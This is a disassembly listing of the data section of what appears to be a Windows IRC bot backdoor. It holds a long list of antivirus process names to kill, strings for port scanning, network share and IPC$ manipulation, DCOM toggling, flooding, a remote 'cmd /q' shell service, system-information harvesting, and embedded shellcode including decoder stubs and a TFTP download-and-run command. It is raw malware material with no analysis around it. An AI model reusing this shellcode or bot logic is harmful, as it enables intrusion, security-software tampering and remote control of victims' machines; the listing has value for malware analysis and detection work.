aAvwin95_exe	db 'AVWIN95.EXE',0      ; DATA XREF: .data:0043182Co
		align 10h
aAvsynmgr_exe	db 'AVSYNMGR.EXE',0     ; DATA XREF: .data:00431828o
		align 10h
aAvsched32_exe	db 'AVSCHED32.EXE',0    ; DATA XREF: .data:00431824o
		align 10h
aAvpupd_exe	db 'AVPUPD.EXE',0       ; DATA XREF: .data:0043181Co
					; .data:00431820o
		align 10h
aAvptc32_exe	db 'AVPTC32.EXE',0      ; DATA XREF: .data:00431818o
		align 10h
aAvpm_exe	db 'AVPM.EXE',0         ; DATA XREF: .data:00431814o
		align 4
aAvpdos32_exe	db 'AVPDOS32.EXE',0     ; DATA XREF: .data:00431810o
		align 4
aAvpcc_exe	db 'AVPCC.EXE',0        ; DATA XREF: .data:0043180Co
		align 4
aAvp32_exe	db 'AVP32.EXE',0        ; DATA XREF: .data:00431808o
		align 4
aAvp_exe	db 'AVP.EXE',0          ; DATA XREF: .data:00431804o
		align 10h
aAvnt_exe	db 'AVNT.EXE',0         ; DATA XREF: .data:00431800o
		align 4
aAvltmain_exe	db 'AVLTMAIN.EXE',0     ; DATA XREF: .data:004317FCo
		align 4
aAvkwctl9_exe	db 'AVKWCTl9.EXE',0     ; DATA XREF: .data:004317F8o
		align 4
aAvkservice_exe	db 'AVKSERVICE.EXE',0   ; DATA XREF: .data:004317F4o
		align 10h
aAvkserv_exe	db 'AVKSERV.EXE',0      ; DATA XREF: .data:004317F0o
		align 10h
aAvkpop_exe	db 'AVKPOP.EXE',0       ; DATA XREF: .data:004317ECo
		align 10h
aAvgw_exe	db 'AVGW.EXE',0         ; DATA XREF: .data:004317E8o
		align 4
aAvguard_exe	db 'AVGUARD.EXE',0      ; DATA XREF: .data:004317E4o
		dd 0
aAvgserv9_exe	db 'AVGSERV9.EXE',0     ; DATA XREF: .data:004317E0o
		align 4
aAvgserv_exe	db 'AVGSERV.EXE',0      ; DATA XREF: .data:004317DCo
		dd 0
aAvgnt_exe	db 'AVGNT.EXE',0        ; DATA XREF: .data:004317D8o
		align 4
aAvgctrl_exe	db 'AVGCTRL.EXE',0      ; DATA XREF: .data:004317D4o
		align 8
aAvgcc32_exe	db 'AVGCC32.EXE',0      ; DATA XREF: .data:004317D0o
		align 8
aAve32_exe	db 'AVE32.EXE',0        ; DATA XREF: .data:004317CCo
		align 4
aAvconsol_exe	db 'AVCONSOL.EXE',0     ; DATA XREF: .data:004317C8o
		align 4
aAutoupdate_exe	db 'AUTOUPDATE.EXE',0   ; DATA XREF: .data:004317C0o
					; .data:004317C4o
		align 8
aAutotrace_exe	db 'AUTOTRACE.EXE',0    ; DATA XREF: .data:004317B8o
					; .data:004317BCo
		align 4
aAutodown_exe	db 'AUTODOWN.EXE',0     ; DATA XREF: .data:004317B0o
					; .data:004317B4o
		align 4
aAupdate_exe	db 'AUPDATE.EXE',0      ; DATA XREF: .data:004317A8o
					; .data:004317ACo
		align 8
aAu_exe		db 'AU.EXE',0           ; DATA XREF: .data:004317A4o
		align 10h
aAtwatch_exe	db 'ATWATCH.EXE',0      ; DATA XREF: .data:004317A0o
		align 10h
aAtupdater_exe	db 'ATUPDATER.EXE',0    ; DATA XREF: .data:00431798o
					; .data:0043179Co
		align 10h
aAtro55en_exe	db 'ATRO55EN.EXE',0     ; DATA XREF: .data:00431794o
		align 10h
aAtguard_exe	db 'ATGUARD.EXE',0      ; DATA XREF: .data:00431790o
		align 10h
aAtcon_exe	db 'ATCON.EXE',0        ; DATA XREF: .data:0043178Co
		align 4
aArr_exe	db 'ARR.EXE',0          ; DATA XREF: .data:00431788o
		align 8
aApvxdwin_exe	db 'APVXDWIN.EXE',0     ; DATA XREF: .data:00431784o
		align 4
aAplica32_exe	db 'APLICA32.EXE',0     ; DATA XREF: .data:00431780o
		align 4
aApimonitor_exe	db 'APIMONITOR.EXE',0   ; DATA XREF: .data:0043177Co
		align 4
		dd 0
aAnts_exe	db 'ANTS.EXE',0         ; DATA XREF: .data:00431778o
		align 4
aAntivirus_exe	db 'ANTIVIRUS.EXE',0    ; DATA XREF: .data:00431774o
		align 4
aAntiTrojan_exe	db 'ANTI-TROJAN.EXE',0  ; DATA XREF: .data:00431770o
		dd 0
aAmon9x_exe	db 'AMON9X.EXE',0       ; DATA XREF: .data:0043176Co
		align 4
		dd 0
aAlogserv_exe	db 'ALOGSERV.EXE',0     ; DATA XREF: .data:00431768o
		align 4
aAlevir_exe	db 'ALEVIR.EXE',0       ; DATA XREF: .data:00431764o
		align 4
		dd 0
aAlertsvc_exe	db 'ALERTSVC.EXE',0     ; DATA XREF: .data:00431760o
		align 4
aAgentw_exe	db 'AGENTW.EXE',0       ; DATA XREF: .data:0043175Co
		align 4
		dd 0
aAgentsvr_exe	db 'AGENTSVR.EXE',0     ; DATA XREF: .data:00431758o
		align 4
aAdvxdwin_exe	db 'ADVXDWIN.EXE',0     ; DATA XREF: .data:00431754o
		align 4
aAdaware_exe	db 'ADAWARE.EXE',0      ; DATA XREF: .data:00431750o
		dd 0
aAckwin32_exe	db 'ACKWIN32.EXE',0     ; DATA XREF: .data:off_43174Co
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_411876+191o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_411876+5Ao
					; sub_411876+1F3o
		align 4
dword_4348BC	dd 20025B02h, 7270202Dh, 1F631F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: .text:loc_411BB7o
aProcessListFai	db '  Process list failed.',0
		align 10h
dword_4348F0	dd 20025B02h, 7270202Dh, 1F631F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: .text:00411BB0o
aProcessListCom	db '  Process list completed.',0
		align 10h
		dd 2 dup(0)
dword_434928	dd 20025B02h, 7270202Dh, 1F631F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: .text:00411B49o
aListingProcess	db '  Listing processes:',0
		align 4
		dd 2 dup(0)
dword_43495C	dd 20025B02h, 6572202Dh, 65726964h, 1F741F63h, 2202D20h
					; DATA XREF: .text:00411E53o
		dd 0BB20025Dh
aFailedToSta_14	db '  Failed to start client thread, error: <%d>.',0
		align 10h
dword_4349B0	dd 20025B02h, 6572202Dh, 65726964h, 1F741F63h, 2202D20h
					; DATA XREF: .text:00411DDEo
		dd 0BB20025Dh
aClientConnec_0	db '  Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
		dd 4 dup(0)
dword_434A10	dd 20025B02h, 6572202Dh, 65726964h, 1F741F63h, 2202D20h
					; DATA XREF: .text:00412091o
		dd 0BB20025Dh
aFailedToSta_15	db '  Failed to start connection thread, error: <%d>.',0
		align 4
		dd 3 dup(0)
dword_434A68	dd 20025B02h, 6572202Dh, 65726964h, 1F741F63h, 2202D20h
					; DATA XREF: .text:00411FC8o
		dd 0BB20025Dh, 6C432020h, 746E6569h, 6E6F6320h,	7463656Eh
		dd 206E6F69h, 49206F74h, 25203A50h, 64253A73h, 6553202Ch
		dd 72657672h, 72687420h, 3A646165h, 2E642520h, 5 dup(0)
aConst		db 'const',0
		align 10h
		dd 0
dword_434AD4	dd 1			; DATA XREF: sub_41264E+7o
off_434AD8	dd offset sub_401046	; DATA XREF: sub_41264E+49r
aLetter		db 'letter',0
		align 8
		dd 2, 4011E0h, 706D6F63h, 2 dup(0)
		dd 3, 401069h, 6E756F63h, 797274h, 0
		dd 4, 40128Fh, 736Fh, 2	dup(0)
		dd 5, 40103Ch, 3 dup(0)
dword_434B38	dd 2 dup(0)		; DATA XREF: sub_41264E+39o
aSI		db '%s%i',0             ; DATA XREF: sub_41220B+40o
					; .text:0041235Fo ...
		align 4
byte_434B48	db 50h			; DATA XREF: .text:00412302o
					; .text:0041230Fr
		db 43h,	2 dup(0)
aEmr3S		db 'emr3-[%s]-',0       ; DATA XREF: .text:004123D4o
		align 4
		dd 0
aS_4		db '[%s]|',0            ; DATA XREF: .text:004124FBo
		align 4
a???		db '???',0              ; DATA XREF: .text:loc_4124F2o
					; sub_414190:loc_414253o
a2k3		db '2K3',0              ; DATA XREF: .text:004124EBo
aXp		db 'XP',0               ; DATA XREF: .text:004124DDo
					; sub_414190+AAo
		align 10h
a2k		db '2K',0               ; DATA XREF: .text:004124CDo
					; sub_414190+98o
		align 4
aMe_0		db 'ME',0               ; DATA XREF: .text:004124B4o
					; sub_414190+7Eo
		align 4
a98		db '98',0               ; DATA XREF: .text:004124A4o
					; sub_414190+6Co
		align 4
aNt		db 'NT',0               ; DATA XREF: .text:00412494o
					; sub_414190+5Ao
		align 10h
a95		db '95',0               ; DATA XREF: .text:00412486o
					; sub_414190+46o
		align 4
aDS		db '[%d]%s',0           ; DATA XREF: sub_412583+3Ao
		align 4
aM		db '[M]',0              ; DATA XREF: sub_412583+2Co
					; sub_412583+57o
dword_434B90	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4126D1+92o
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
		align 10h
		dd 2 dup(0)
dword_434BC8	dd 20025B02h, 6F72202Dh, 1F741F6Fh, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4127D1+41o
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 4
		dd 3 dup(0)
dword_434C08	dd 1D4C0h		; DATA XREF: sub_41313F+10r
		align 10h
off_434C10	dd offset aIpc		; DATA XREF: sub_412976+1B3o
					; sub_412D63+17Ao
					; "IPC$"
		align 8
		dd offset aAdmin_4	; "ADMIN$"
		align 10h
off_434C20	dd offset dword_434C44	; DATA XREF: sub_412D63+1E3o
		dd offset dword_434C40
		dd offset dword_434C3C
		dd offset dword_434C38
dword_434C30	dd 2 dup(0)		; DATA XREF: sub_412976+217o
dword_434C38	dd 5C3A44h		; DATA XREF: .data:00434C2Co
dword_434C3C	dd 2444h		; DATA XREF: .data:00434C28o
dword_434C40	dd 5C3A43h		; DATA XREF: .data:00434C24o
dword_434C44	dd 2443h		; DATA XREF: .data:off_434C20o
aAdmin_4	db 'ADMIN$',0           ; DATA XREF: .data:00434C18o
		align 10h
aIpc		db 'IPC$',0             ; DATA XREF: .data:off_434C10o
		align 4
unk_434C58	db    2			; DATA XREF: sub_412976+2E5o
					; sub_412D63+2D8o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aNetapi32_dllCo	db '   Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
		dd 2 dup(0)
unk_434C9C	db    2			; DATA XREF: sub_412976+2CFo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aNetworkSharesD	db '   Network shares deleted.',0
		dd 3 dup(0)
unk_434CD8	db    2			; DATA XREF: sub_412976:loc_412BD8o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aFailedToDelete	db '   Failed to delete ',27h,'%S',27h,' share.',0
		align 10h
		dd 2 dup(0)
unk_434D18	db    2			; DATA XREF: sub_412976+25Bo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aShareSDeleted_	db '   Share ',27h,'%S',27h,' deleted.',0
		dd 2 dup(0)
unk_434D4C	db    2			; DATA XREF: sub_412976:loc_412B45o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aFailedToDele_0	db '   Failed to delete ',27h,'%s',27h,' share.',0
		align 4
		dd 2 dup(0)
unk_434D8C	db    2			; DATA XREF: sub_412976+1C8o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aShareSDelete_0	db '   Share ',27h,'%s',27h,' deleted.',0
		align 10h
unk_434DC0	db    2			; DATA XREF: sub_412976:loc_412AA8o
					; sub_412D63:loc_412E91o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aAdvapi32_dllCo	db '   Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
		dd 2 dup(0)
unk_434E04	db    2			; DATA XREF: sub_412976:loc_412AA1o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aFailedToOpenIp	db '   Failed to open IPC$ Restriction registry key.',0
		align 4
		dd 3 dup(0)
unk_434E58	db    2			; DATA XREF: sub_412976:loc_412A83o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aRestrictedAcce	db '   Restricted access to the IPC$ Share.',0
		align 4
		dd 3 dup(0)
unk_434EA4	db    2			; DATA XREF: sub_412976+106o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aFailedToRestri	db '   Failed to restrict access to the IPC$ Share.',0
		align 4
		dd 3 dup(0)
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_412976+EDo
					; sub_412D63+EDo
		align 10h
unk_434F10	db    2			; DATA XREF: sub_412976+91o
					; sub_412D63+91o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aFailedToOpenDc	db '   Failed to open DCOM registry key.',0
		align 4
		dd 3 dup(0)
dword_434F58	dd 20025B02h, 6573202Dh, 1F727563h, 2D201F65h, 25D0220h
					; DATA XREF: sub_412976:loc_4129E3o
		dd 2020BB20h, 4D4F4344h, 73696420h, 656C6261h, 2E64h, 2	dup(0)
unk_434F88	db    2			; DATA XREF: sub_412976+66o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aDisableDcomFai	db '   Disable DCOM failed.',0
		align 10h
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_412976+54o
					; sub_412D63+54o
		align 10h
word_434FD0	dw 4Eh			; DATA XREF: sub_412976+38r
		align 4
unk_434FD4	db    2			; DATA XREF: sub_412D63+2C0o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aNetworkSharesA	db '   Network shares added.',0
		align 4
		dd 2 dup(0)
aC		db '%c:\',0             ; DATA XREF: sub_412D63+22Ao
		align 4
aC_0		db '%c$',0              ; DATA XREF: sub_412D63+219o
unk_435018	db    2			; DATA XREF: sub_412D63:loc_412F02o
					; sub_412D63:loc_412FD0o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aFailedToAddSSh	db '   Failed to add ',27h,'%s',27h,' share.',0
		align 4
		dd 2 dup(0)
unk_435054	db    2			; DATA XREF: sub_412D63+198o
					; sub_412D63+266o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aShareSAdded_	db '   Share ',27h,'%s',27h,' added.',0
		align 10h
		dd 2 dup(0)
unk_435088	db    2			; DATA XREF: sub_412D63:loc_412E8Ao
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aFailedToOpen_0	db '   Failed to open IPC$ restriction registry key.',0
		align 10h
		dd 3 dup(0)
unk_4350DC	db    2			; DATA XREF: sub_412D63:loc_412E6Co
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aUnrestrictedAc	db '   Unrestricted access to the IPC$ Share.',0
		align 4
		dd 3 dup(0)
unk_435128	db    2			; DATA XREF: sub_412D63+102o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aFailedToUnrest	db '   Failed to unrestrict access to the IPC$ Share.',0
		align 10h
		dd 4 dup(0)
dword_435180	dd 20025B02h, 6573202Dh, 1F727563h, 2D201F65h, 25D0220h
					; DATA XREF: sub_412D63:loc_412DD0o
		dd 2020BB20h, 4D4F4344h, 616E6520h, 64656C62h, 2Eh, 2 dup(0)
unk_4351B0	db    2			; DATA XREF: sub_412D63+66o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	73h, 65h
		db  63h	; c
		db 75h,	72h, 1Fh
		db  65h	; e
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aEnableDcomFail	db '   Enable DCOM failed.',0
		dd 2 dup(0)
word_4351E4	dw 59h			; DATA XREF: sub_412D63+38r
		align 4
aRlogindWaitfor	db '[RLOGIND]: WaitForMultipleObjects error: <%d>.',0
					; DATA XREF: .text:00413242o
		align 10h
aRlogindFailedT	db '[RLOGIND]: Failed to create ReadShell session thread, error: <%d>'
					; DATA XREF: .text:004131BDo
					; .text:004131EFo
		db '.',0
		align 10h
aRlogindFaile_2	db '[RLOGIND]: Failed to execute shell.',0 ; DATA XREF: sub_413309+AFo
		dd 2 dup(0)
aRlogindFaile_1	db '[RLOGIND]: Failed to create shell stdin pipe, error: <%d>.',0
					; DATA XREF: sub_413309+7Eo
		align 4
		dd 3 dup(0)
aRlogindFaile_0	db '[RLOGIND]: Failed to create shell stdout pipe, error: <%d>.',0
					; DATA XREF: sub_413309+5Co
		dd 3 dup(0)
aRlogindFaile_3	db '[RLOGIND]: Failed to execute shell, error: <%d>.',0
					; DATA XREF: sub_413440+C3o
		align 10h
		dd 2 dup(0)
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_413440+8Co
		align 10h
aRlogindSession	db '[RLOGIND]: SessionReadShellThread exited, error: <%ld>.',0
					; DATA XREF: sub_41354F+A1o
		dd 3 dup(0)
dword_4353B4	dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_413993+C4o
		db 66h,	0B9h
word_4353C2	dw 0FFFFh		; DATA XREF: sub_413993+CCw
		db 80h,	73h, 0Eh
byte_4353C7	db 0FFh			; DATA XREF: sub_413993+D3w
		dd 0F9E243h
dword_4353CC	dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_413993+A2o
		db 0B1h
byte_4353D9	db 0FFh			; DATA XREF: sub_413993+AAw
		dw 7380h
		db 0Ch
byte_4353DD	db 0FFh			; DATA XREF: sub_413993+B0w
		dw 0E243h
		dd 0F9h
dword_4353E4	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_4137C0+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_435448	dd 12h			; DATA XREF: sub_4137C0+3Dw
		dd 70746674h, 6578652Eh, 20692D20h
aGet_0		db ' get ',0            ; DATA XREF: sub_4137C0+79o
aJ_0		db 'j',0
		db 0E8h
dword_435461	dd 17h			; DATA XREF: sub_4137C0+4Dw
		db 75h,	1, 0C3h
		db 0E8h
dword_435469	dd 1			; DATA XREF: sub_4137C0+45w
byte_43546D	db 0, 6Ah, 0		; DATA XREF: sub_4137C0+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_435477	dd 0FFFFFFEDh		; DATA XREF: sub_4137C0+5Dw
		db 0C3h
		dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h,	44B0AAF3h
		dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h
		dd 0C3h, 0Ch dup(0)
dword_4354D8	dd 20025B02h, 7973202Dh, 1F6E1F6Ch, 2202D20h, 0BB20025Dh
					; DATA XREF: .text:00413B23o
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
		dd 2 dup(0)
dword_435514	dd 20025B02h, 7973202Dh, 1F6E1F6Ch, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_413B9E+27Do
aSendErrorD_	db '  Send error: <%d>.',0
		dd 2 dup(0)
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_413F6C+52o
		dd 0
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_414190+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
		dd 0Ah dup(0)
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_414190+192o
		dd 0
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_414190:loc_4142F4o
		align 10h
aSS_5		db '%s (%s)',0          ; DATA XREF: sub_414190+EBo
		dd 0
a2003		db '2003',0             ; DATA XREF: sub_414190+BAo
		align 4
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_4144F1+ABo
		align 10h
off_4356E0	dd offset loc_412F4E	; DATA XREF: sub_4144F1:loc_414565o
dword_4356E4	dd 4E414Ch		; DATA XREF: sub_4144F1:loc_41455Eo
aDialUp		db 'Dial-up',0          ; DATA XREF: sub_4144F1+5Bo
		dd 0
aNotConnected	db 'Not connected',0    ; DATA XREF: sub_4144F1+48o
		align 4
dword_435704	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_4145E8+493o
dword_435710	dd 726D655Bh, 5D322D33h, 70786520h, 74696F6Ch, 69206465h
					; DATA XREF: sub_4145E8+47Fo
		dd 203A2070h, 202C7325h, 0FD6C61E7h, 72FD74FEh,	0FD646CFDh
		dd 732520h, 2 dup(0)
dword_435744	dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4145E8+3B6o
aFileNotFoundSS	db '  File not found: %s (%s).',0
		align 4
		dd 2 dup(0)
dword_43577C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh, 0
					; DATA XREF: sub_4145E8+399o
dword_435794	dd 20025B02h, 5845202Dh, 494F4C50h, 20444554h, 5D02202Dh
					; DATA XREF: sub_4145E8+33Eo
		dd 20BB2002h, 202C7325h, 6E65706Fh, 20676E69h, 7325h, 2	dup(0)
dword_4357C4	dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4145E8+15Ao
aFailedToOpenFi	db '  Failed to open file: %s.',0
		align 4
		dd 2 dup(0)
dword_4357FC	dd 20025B02h, 6674202Dh, 1F701F74h, 2202D20h, 0BB20025Dh
					; DATA XREF: sub_4145E8+6Ao
aErrorSocketFai	db '  Error: socket() failed, returned: <%d>.',0
		align 4
		dd 3 dup(0)
aOctet		db 'octet',0            ; DATA XREF: sub_4145E8+Fo
		align 10h
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_414D07+10o
		dd 0
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_414F49+51o
		align 10h
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_414F49+35o
		align 10h
unk_4358B0	db    2			; DATA XREF: .text:loc_4151FFo
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	76h, 69h
		db  73h	; s
		db 69h,	6Ch, 1Fh
		db  74h	; t
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aFailedToConnec	db '   Failed to connect to HTTP server.',0
		align 4
		dd 3 dup(0)
unk_4358F8	db    2			; DATA XREF: .text:loc_4151F8o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	76h, 69h
		db  73h	; s
		db 69h,	6Ch, 1Fh
		db  74h	; t
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aCouldNotOpenAC	db '   Could not open a connection.',0
		align 10h
		dd 2 dup(0)
dword_435938	dd 20025B02h, 6976202Dh, 1F6C6973h, 2D201F74h, 25D0220h
					; DATA XREF: .text:004151E6o
		dd 2020BB20h, 61766E49h, 2064696Ch, 2E4C5255h, 2 dup(0)
unk_435964	db    2			; DATA XREF: .text:loc_4151D9o
		db 5Bh,	2, 20h
		db  2Dh	; -
		db 20h,	76h, 69h
		db  73h	; s
		db 69h,	6Ch, 1Fh
		db  74h	; t
		db 1Fh,	20h, 2Dh
		db  20h
		db 2, 5Dh, 2
aFailedToGetReq	db '   Failed to get requested URL from HTTP server.',0
		align 4
		dd 3 dup(0)
dword_4359B8	dd 20025B02h, 6976202Dh, 1F6C6973h, 2D201F74h, 25D0220h
					; DATA XREF: .text:004151D2o
		dd 2020BB20h, 204C5255h, 69736976h, 2E646574h, 2 dup(0)
dword_4359E4	dd 2A2F2Ah		; DATA XREF: .text:00415081o
off_4359E8	dd offset off_427618	; DATA XREF: .rdata:off_427E48o
					; .rdata:00427F74o ...
		align 10h
a_?avexception@	db '.?AVexception@@',0
off_435A00	dd offset off_427618	; DATA XREF: .rdata:off_427E60o
					; .rdata:00427EF4o ...
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
off_435A20	dd offset off_427618	; DATA XREF: .rdata:off_427E78o
					; .rdata:00427EBCo ...
		align 8
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_435A40	dd offset off_427618	; DATA XREF: .rdata:off_427F00o
					; .rdata:00427F44o ...
		align 8
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
dword_435A60	dd 173Fh		; DATA XREF: sub_415D9B+Dr
		dd 9875h, 9873h
off_435A6C	dd offset sub_415E6A	; DATA XREF: sub_4177E0r
		dd offset nullsub_3
		dd offset nullsub_3
dword_435A78	dd 1B3Fh		; DATA XREF: sub_415EF3+Dr
dword_435A7C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_416395+2o
					; sub_41639E+2o
dword_435A90	dd 0DE459A36h		; DATA XREF: sub_416B0E+4w sub_416B18r ...
		align 10h
off_435AA0	dd offset sub_41781E	; DATA XREF: sub_417FC6+1Cr
dword_435AA4	dd 2			; DATA XREF: sub_41D92C+Er
					; sub_41D965+46r ...
off_435AA8	dd offset off_427618	; DATA XREF: .rdata:off_427F80o
					; .rdata:00427FBCo
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_41DAE9
		dd 10h
dword_435AC8	dd 3F8h			; DATA XREF: sub_415D36+5r
					; sub_416ED2+4Dr ...
		align 10h
dword_435AD0	dd 14h			; DATA XREF: sub_41997F+2o
off_435AD4	dd offset aExp		; DATA XREF: sub_41997F:loc_41999Cr
					; "exp"
		dd 1Dh,	4276E8h, 1Ah, 42F53Ch, 1Bh, 4276E0h, 1Fh, 4276D8h
		dd 13h,	4276D0h, 21h, 4276C8h, 0Eh, 4276C0h, 0Dh, 4276B8h
		dd 0Fh,	4276B0h, 10h, 4276A8h, 5, 4276A0h, 1Eh,	42769Ch
		dd 12h,	427698h, 20h, 427694h, 0Ch, 42768Ch, 0Bh, 427684h
		dd 15h,	42767Ch, 1Ch, 427674h, 19h, 42766Ch, 11h, 427664h
		dd 18h,	42765Ch, 16h, 427654h, 17h, 42764Ch, 22h, 427648h
		dd 23h,	427644h, 24h, 427640h
dbl_435BA8	dq 1.797693134862316e308 ; DATA	XREF: sub_4196BA+B7r
					; sub_4196BA:loc_4197A1r ...
		dd 0
		dd 0FFF80000h
dbl_435BB8	dq 1.797693134862316e308 ; DATA	XREF: sub_4196BA+92r
					; sub_4196BA:loc_419779r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
